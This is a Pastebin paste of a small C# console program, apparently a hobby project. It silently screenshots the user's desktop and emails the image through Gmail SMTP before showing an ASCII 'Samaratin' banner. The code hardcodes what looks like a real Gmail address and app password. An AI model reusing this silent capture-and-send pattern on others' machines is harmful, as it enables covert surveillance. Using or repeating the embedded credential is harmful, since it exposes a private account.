SHARE
TWEET

Untitled

a guest May 21st, 2019 76 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Threading;
  7. using System.Speech.Synthesis;
  8. using System.Windows.Forms;
  9. using System.Drawing;
  10. using System.Drawing.Imaging;
  11. using System.IO;
  12. using System.Net.Mail;
  13.  
  14. namespace Samaratin
  15. {
  16.     class Program
  17.     {
  18.  
  19.         static void Main(string[] args)
  20.             {
  21.  
  22.  
  23.  
  24.                 PrintScreen ps = new PrintScreen();
  25.             ps.CaptureScreenToFile("C:\\Users\\jbv\\Pictures\\screen.png", System.Drawing.Imaging.ImageFormat.Png);
  26.  
  27.             SmtpClient mailServer = new SmtpClient("smtp.gmail.com", 587);
  28.             mailServer.EnableSsl = true;
  29.  
  30.             mailServer.Credentials = new System.Net.NetworkCredential("jonasbvig@gmail.com", "wam36ysuamz49rnp");
  31.  
  32.             string from = "jonasbvig@gmail.com";
  33.             string to = "jbv@hansenberg.dk";
  34.             MailMessage msg = new MailMessage(from, to);
  35.             msg.Subject = "Enter the subject here";
  36.             msg.Body = "The message goes here.";
  37.             msg.Attachments.Add(new Attachment("C:\\Users\\jbv\\Pictures\\screen.png"));
  38.             mailServer.Send(msg);
  39.  
  40.  
  41.             Console.Title = "Samaratin";
  42.             Console.ForegroundColor = ConsoleColor.Red;
  43.  
  44.             SpeechSynthesizer synth = new SpeechSynthesizer();
  45.  
  46.             // Configure the audio output.  
  47.             synth.SetOutputToDefaultAudioDevice();
  48.  
  49.            
  50.  
  51.             Console.WriteLine(@"
  52.   ██████  ▄▄▄       ███▄ ▄███▓ ▄▄▄       ██▀███   ▄▄▄     ▄▄▄█████▓ ██▓ ███▄    █
  53. ▒██    ▒ ▒████▄    ▓██▒▀█▀ ██▒▒████▄    ▓██ ▒ ██▒▒████▄   ▓  ██▒ ▓▒▓██▒ ██ ▀█   █
  54. ░ ▓██▄   ▒██  ▀█▄  ▓██    ▓██░▒██  ▀█▄  ▓██ ░▄█ ▒▒██  ▀█▄ ▒ ▓██░ ▒░▒██▒▓██  ▀█ ██▒
  55.   ▒   ██▒░██▄▄▄▄██ ▒██    ▒██ ░██▄▄▄▄██ ▒██▀▀█▄  ░██▄▄▄▄██░ ▓██▓ ░ ░██░▓██▒  ▐▌██▒
  56. ▒██████▒▒ ▓█   ▓██▒▒██▒   ░██▒ ▓█   ▓██▒░██▓ ▒██▒ ▓█   ▓██▒ ▒██▒ ░ ░██░▒██░   ▓██░
  57. ▒ ▒▓▒ ▒ ░ ▒▒   ▓▒█░░ ▒░   ░  ░ ▒▒   ▓▒█░░ ▒▓ ░▒▓░ ▒▒   ▓▒█░ ▒ ░░   ░▓  ░ ▒░   ▒ ▒
  58. ░ ░▒  ░ ░  ▒   ▒▒ ░░  ░      ░  ▒   ▒▒ ░  ░▒ ░ ▒░  ▒   ▒▒ ░   ░     ▒ ░░ ░░   ░ ▒░
  59. ░  ░  ░    ░   ▒   ░      ░     ░   ▒     ░░   ░   ░   ▒    ░       ▒ ░   ░   ░ ░
  60.       ░        ░  ░       ░         ░  ░   ░           ░  ░         ░           ░
  61.  
  62.  
  63.  
  64.                                     ");
  65.  
  66.             Console.WriteLine("");
  67.             Console.WriteLine("");
  68.  
  69.  
  70.             Console.Read();
  71.         }
  72.            
  73.  
  74.  
  75.  
  76.     }
  77. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top